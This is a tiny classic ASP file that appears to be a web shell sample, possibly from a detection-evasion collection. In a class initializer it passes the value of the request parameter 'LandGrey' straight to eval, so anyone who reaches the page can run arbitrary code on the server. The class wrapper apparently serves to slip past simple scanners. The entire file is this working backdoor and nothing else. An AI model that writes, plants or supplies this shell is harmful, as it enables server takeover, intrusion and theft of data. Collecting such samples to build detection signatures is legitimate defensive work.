<%
Class LandGrey
  Private Sub Class_Initialize
    eval	(request("LandGrey"))
  End Sub
End Class

Set X = New LandGrey
%>